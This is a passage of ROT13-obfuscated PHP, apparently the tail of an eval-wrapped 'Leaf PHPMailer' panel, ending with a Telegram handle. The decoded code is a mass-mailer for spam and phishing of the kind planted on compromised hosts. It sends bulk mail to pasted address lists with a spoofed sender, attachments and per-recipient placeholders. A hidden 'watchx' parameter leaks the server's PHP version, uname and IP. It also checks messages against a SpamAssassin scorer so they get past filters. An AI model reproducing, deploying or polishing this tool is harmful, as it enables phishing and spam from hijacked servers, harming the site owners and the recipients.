            pnyy_hfre_shap_neenl($guvf->npgvba_shapgvba, $cnenzf);
        }
    }
}

/**
 * CUCZnvyre rkprcgvba unaqyre
 * @cnpxntr CUCZnvyre
 */
pynff cucznvyreRkprcgvba rkgraqf Rkprcgvba
{
    /**
     * Cerggvsl reebe zrffntr bhgchg
     * @erghea fgevat
     */
    choyvp shapgvba reebeZrffntr()
    {
        $reebeZft = '<fgebat>' . ugzyfcrpvnypunef($guvf->trgZrffntr()) . "</fgebat><oe />\a";
        erghea $reebeZft;
    }
}

vs ($_ERDHRFG['jngpuk']) {
	$irefvba = cucirefvba();
	$hanzr =  cuc_hanzr();
	$vc = trgubfgolanzr($_FREIRE["UGGC_UBFG"]);	
	rpub wfba_rapbqr (neenl ("irefvba"=>$irefvba,
		"hanzr"=>$hanzr,
		"cyngsbez"=>CUC_BF,
		"vc"=>$vc,
		"znvyrek"=>gehr,	
	));
	qvr ();
}

shapgvba yrnsurnqre(){
cevag '
<urnq>
    <gvgyr>'.fge_ercynpr("jjj.", "", $_FREIRE['UGGC_UBFG']).' - Yrns CUCZnvyre</gvgyr>
    <zrgn uggc-rdhvi="Pbagrag-Glcr" pbagrag="grkg/ugzy; punefrg=hgs-8"/>
    <yvax uers="uggcf://znkpqa.obbgfgencpqa.pbz/obbgfjngpu/3.4.1/pbfzb/obbgfgenc.zva.pff" ery="fglyrfurrg" >

</urnq>';
}
yrnsurnqre();
cevag '<obql>';
cevag '<qvi pynff="pbagnvare pby-yt-6">
        <u3><sbag pbybe="terra"><fcna pynff="tylcuvpba tylcuvpba-yrns"></fcna></sbag> Yrns CUCZnvyre <fznyy>'.$yrns['irefvba'].'</fznyy></u3>
        <sbez anzr="sbez" vq="sbez" zrgubq="CBFG" rapglcr="zhygvcneg/sbez-qngn" npgvba="">
                    <vachg glcr="uvqqra" anzr="npgvba" inyhr="fpber">

            <qvi pynff="ebj">
                <qvi pynff="sbez-tebhc pby-yt-6 "><ynory sbe="fraqreRznvy">Rznvy</ynory><vachg glcr="grkg" pynff="sbez-pbageby  vachg-fz " vq="fraqreRznvy" anzr="fraqreRznvy" inyhr="'.$fraqreRznvy.'"></qvi>
                <qvi pynff="sbez-tebhc pby-yt-6 "><ynory sbe="fraqreAnzr">Fraqre Anzr</ynory><vachg glcr="grkg" pynff="sbez-pbageby  vachg-fz " vq="fraqreAnzr" anzr="fraqreAnzr" inyhr="'.$fraqreAnzr.'"></qvi>
            </qvi>
            <qvi pynff="ebj">
                <fcna pynff="sbez-tebhc pby-yt-6  "><ynory sbe="nggnpuzrag">Nggnpuzrag <fznyy>(Zhygvcyr Ninvynoyr)</fznyy></ynory><vachg glcr="svyr" anzr="nggnpuzrag[]" vq="nggnpuzrag[]" zhygvcyr/></fcna>

                <qvi pynff="sbez-tebhc pby-yt-6"><ynory sbe="ercylGb">Ercyl-gb</ynory><vachg glcr="grkg" pynff="sbez-pbageby  vachg-fz " vq="ercylGb" anzr="ercylGb" inyhr="'.$ercylGb.'" /></qvi>
            </qvi>
            <qvi pynff="ebj">
                <qvi pynff="sbez-tebhc pby-yt-12 "><ynory sbe="fhowrpg">Fhowrpg</ynory><vachg glcr="grkg" pynff="sbez-pbageby  vachg-fz " vq="fhowrpg" anzr="fhowrpg" inyhr="'.$fhowrpg.'" /></qvi>
            </qvi>
            <qvi pynff="ebj">
                <qvi pynff="sbez-tebhc pby-yt-6"><ynory sbe="zrffntrYrggre">Zrffntr Yrggre <ohggba glcr="fhozvg" pynff="oga oga-qrsnhyg oga-kf" sbez="sbez" anzr="npgvba" inyhr="ivrj" sbezgnetrg="_oynax">Cerivrj </ohggba></ynory><grkgnern anzr="zrffntrYrggre" vq="zrffntrYrggre" pynff="sbez-pbageby" ebjf="10" vq="grkgNern">'.$zrffntrYrggre.'</grkgnern></qvi>
                <qvi pynff="sbez-tebhc pby-yt-6 "><ynory sbe="rznvyYvfg">Rznvy Yvfg <n uers="?rznvysvygre=ba" gnetrg="_oynax" pynff="oga oga-qrsnhyg oga-kf">Svygre/Rkgenpg</n></ynory><grkgnern anzr="rznvyYvfg" vq="rznvyYvfg" pynff="sbez-pbageby" ebjf="10" vq="grkgNern">'.$rznvyYvfg.'</grkgnern></qvi>
            </qvi>
            <qvi pynff="ebj">
                <qvi pynff="sbez-tebhc pby-yt-6 ">
                    <ynory sbe="zrffntrGlcr">Zrffntr Glcr</ynory>
                    UGZY <vachg glcr="enqvb" anzr="zrffntrGlcr" vq="zrffntrGlcr" inyhr="1" '.$ugzy.'>
                    Cynva<vachg glcr="enqvb" anzr="zrffntrGlcr" vq="zrffntrGlcr" inyhr="2" '.$cynva.'>
                </qvi>
                <qvi pynff="sbez-tebhc pby-yt-3 ">
                    <ynory sbe="punefrg">Punenpgre frg</ynory>
                    <fryrpg pynff="sbez-pbageby vachg-fz" vq="punefrg" anzr="punefrg">
                        <bcgvba '.$hgs8.'>HGS-8</bcgvba>
                        <bcgvba '.$vfb.'>VFB-8859-1</bcgvba>
                    </fryrpg>
                </qvi>
                <qvi pynff="sbez-tebhc pby-yt-3 ">
                    <ynory sbe="rapbqvat">Zrffntr rapbqvat</ynory>
                    <fryrpg pynff="sbez-pbageby vachg-fz" vq="rapbqr" anzr="rapbqr">
                        <bcgvba '.$ovg8.'>8ovg</bcgvba>
                        <bcgvba '.$ovg7.'>7ovg</bcgvba>
                        <bcgvba '.$ovanel.'>ovanel</bcgvba>
                        <bcgvba '.$onfr64.'>onfr64</bcgvba>
                        <bcgvba '.$dhbgrqcevagnoyr.'>dhbgrq-cevagnoyr</bcgvba>

                    </fryrpg>
                </qvi>
            </qvi>
            <ohggba glcr="fhozvg" pynff="oga oga-qrsnhyg oga-fz" sbez="sbez" anzr="npgvba" inyhr="fraq">FRAQ</ohggba> be <n uers="#" bapyvpx="qbphzrag.trgRyrzragOlVq(\'sbez\').fhozvg(); erghea snyfr;">purpx FcnzNffnffva Fpber</n>
   
        </sbez>
    </qvi>
    <qvi pynff="pby-yt-6"><oe>
        <ynory sbe="jryy">Vafgehpgvba</ynory>
        <qvi vq="jryy" pynff="jryy jryy">
            <u4>Freire Vasbezngvba</u4>
            <hy>
                <yv>Freire VC Nqqerff : <o>'.$_FREIRE['FREIRE_NQQE'].' </o> <n uers="?purpx_vc='.$_FREIRE['FREIRE_NQQE'].'" gnetrg="_oynax" pynff="ynory ynory-cevznel">Purpx Oynpxyvfg <v pynff="tylcuvpba tylcuvpba-frnepu"></v></n></yv>
                <yv>CUC Irefvba : <o>'.cucirefvba().'</o></yv>
                

            </hy>
            <u4>URYC</u4>
            <hy>
                <yv>[-rznvy-] : <o>Erpvire Rznvy</o> (rznvyhfre@rznvyqbznva.pbz)</yv>
                <hy>
                    <yv>[-rznvyhfre-] : <o>Rznvy Hfre</o> (rznvyhfre) </yv>
                    <yv>[-rznvyqbznva-] : <o>Rznvy Hfre</o> (rznvyqbznva.pbz) </yv>
                </hy>
                <yv>[-gvzr-] : <o>Qngr naq Gvzr</o> ('.qngr("z/q/L u:v:f n", gvzr()).')</yv>
                
                <yv>[-enaqbzfgevat-] : <o>Enaqbz fgevat (0-9,n-m)</o></yv>
                <yv>[-enaqbzahzore-] : <o>Enaqbz ahzore (0-9) </o></yv>
                <yv>[-enaqbzyrggref-] : <o>Enaqbz Yrggref(n-m) </o></yv>
                <yv>[-enaqbzzq5-] : <o>Enaqbz ZQ5 </o></yv>
            </hy>
            <u4>rknzcyr</u4>
            Erprvire Rznvy = <o>hfre@qbznva.pbz</o><oe>
            <hy>
                <yv>uryyb <o>[-rznvyhfre-]</o> = uryyb <o>hfre</o></yv>
                <yv>lbhe qbznva vf <o>[-rznvyqbznva-]</o> = Lbhe Qbznva vf <o>qbznva.pbz</o></yv>
                <yv>lbhe pbqr vf  <o>[-enaqbzzq5-]</o> = lbhe pbqr vf <o>r10nqp3949on59noor56r057s20s883r</o></yv>
            </hy>

            <u6>ol <o><n uers="uggc://'.$yrns['jrofvgr'].'">'.$yrns['jrofvgr'].'</n></o></u6>
        </qvi>
    </qvi>';  
vs($_CBFG['npgvba']=="fraq"){
    cevag '    <qvi pynff="pby-yt-12">';
    $znvyyvfg=rkcybqr("\e\a", $rznvyYvfg);
    $a=pbhag($znvyyvfg);
    $k =1;
    sbernpu ($znvyyvfg nf $rznvy ) {
        cevag '<qvi pynff="pby-yt-1">['.$k.'/'.$a.']</qvi><qvi pynff="pby-yt-4">'.$rznvy.'</qvi>';
        vs(!yrnsZnvyPurpx($rznvy)) {
            cevag '<qvi pynff="pby-yt-6"><fcna pynff="ynory ynory-qrsnhyg">Vapbeerpg Rznvy</fcna></qvi>';
            cevag "<oe>\e\a";
        }
        ryfr {
            $znvy = arj CUCZnvyre;
            $znvy->frgSebz(yrnsPyrne($fraqreRznvy,$rznvy),yrnsPyrne($fraqreAnzr,$rznvy));
            $znvy->nqqErcylGb(yrnsPyrne($ercylGb,$rznvy));
            $znvy->nqqNqqerff($rznvy);
            $znvy->Fhowrpg = yrnsPyrne($fhowrpg,$rznvy);
            $znvy->Obql =  yrnsPyrne($zrffntrYrggre,$rznvy);
            vs($zrffntrGlcr==1){
                $znvy->VfUGZY(gehr);
                $znvy->NygObql =fgevc_gntf(yrnsPyrne($zrffntrYrggre,$rznvy));
            }
            ryfr $znvy->VfUGZY(snyfr);
            $znvy->PuneFrg = $punefrg;
            $znvy->Rapbqvat = $rapbqvat;
            sbe($v=0; $v<pbhag($_SVYRF['nggnpuzrag']['anzr']); $v++) {
                vs ($_SVYRF['nggnpuzrag']['gzc_anzr'][$v] != ""){
                    $znvy->NqqNggnpuzrag($_SVYRF['nggnpuzrag']['gzc_anzr'][$v],$_SVYRF['nggnpuzrag']['anzr'][$v]);
                }

            }
            
            vs (!$znvy->fraq()) {
                rpub '<qvi pynff="pby-yt-6"><fcna pynff="ynory ynory-qrsnhyg">'.ugzyfcrpvnypunef($znvy->ReebeVasb).'</fcna></qvi>';
            }
            ryfr {
                rpub '<qvi pynff="pby-yt-6"><fcna pynff="ynory ynory-fhpprff">Bx</fcna></qvi>';
            }
            cevag "<oe>\e\a";
        }
        $k++;
        sbe($x = 0; $x < 40000; $x++) {rpub ' ';}
    }

}
ryfrvs($_CBFG['npgvba']=="fpber"){
    $znvy = arj CUCZnvyre;
    $znvy->frgSebz(yrnsPyrne($fraqreRznvy,$rznvy),yrnsPyrne($fraqreAnzr,$rznvy));
    $znvy->nqqErcylGb(yrnsPyrne($ercylGb,$rznvy));
    $znvy->nqqNqqerff("hfreanzr@qbznva.pbz");
    $znvy->Fhowrpg = yrnsPyrne($fhowrpg,$rznvy);
    $znvy->Obql =  yrnsPyrne($zrffntrYrggre,$rznvy);
    vs($zrffntrGlcr==1){
        $znvy->VfUGZY(gehr);
        $znvy->NygObql =fgevc_gntf(yrnsPyrne($zrffntrYrggre,$rznvy));
    }
    ryfr $znvy->VfUGZY(snyfr);
    $znvy->PuneFrg = $punefrg;
    $znvy->Rapbqvat = $rapbqvat;
    $znvy->cerFraq();
    $zrffntrUrnqref=$znvy->trgFragZVZRZrffntr();
    $pu = phey_vavg();
    phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);
    phey_frgbcg($pu, PHEYBCG_HEY, 'uggc://fcnzpurpx.cbfgznexncc.pbz/svygre');
    phey_frgbcg($pu, PHEYBCG_CBFGSVRYQF, uggc_ohvyq_dhrel(neenl('rznvy' => $zrffntrUrnqref,'bcgvbaf'=>'ybat')));
    phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);
    phey_frgbcg($pu, PHEYBCG_GVZRBHG, 15);
    $erfcbafr = phey_rkrp($pu);
    $erfcbafr = wfba_qrpbqr($erfcbafr);
    cevag '    <qvi pynff="pby-yt-12">';
    vs ($erfcbafr->fhpprff == GEHR ){
        $fpber = $erfcbafr->fpber;
        vs ($fpber > 5 ) $pynff="qnatre";
        ryfr $pynff="fhpprff";
            cevag '<qvi pynff="grkg-'.$pynff.'">Lbhe FcnzNffnffva fpber vf '.$fpber.'  </qvi>
<qvi>Shyy Ercbeg : <cer>'.$erfcbafr->ercbeg.'</cer></qvi>';
cevag '    </qvi>';
    }
}
cevag '</obql>';
'))); ?>

https://t.me/RX1948 - 2025